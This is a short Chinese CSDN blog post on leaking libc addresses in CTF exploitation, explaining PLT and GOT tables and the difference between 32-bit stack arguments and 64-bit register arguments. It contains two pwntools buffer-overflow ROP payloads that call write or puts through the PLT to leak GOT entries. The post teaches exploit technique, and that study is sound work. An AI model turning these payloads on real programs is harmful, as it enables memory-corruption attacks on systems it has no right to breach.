关于libc泄露的有感而发---32位与64位区别

关于plt表与got表

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021013122504026.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1eXZsZQ==,size_16,color_FFFFFF,t_70》

当我们在做题时,我们要获得对应函数在got中的地址,32位函数与64位函数区别很大
这涉及到不同系统函数调用的区别
在这里插入图片描述
具体例子如下

32位函数参数直接将就近将参数压入栈中

#char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)

#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)

64位要将参数压入寄存器中

pop_rdi = 0x0000000000400C83 #一个万能的gadget,x64程序基本都存在,pop rdi;ret;
                                
payload = '1'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(encrypt(payload))

64位调用函数时要用寄存器

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/113486989
今日推荐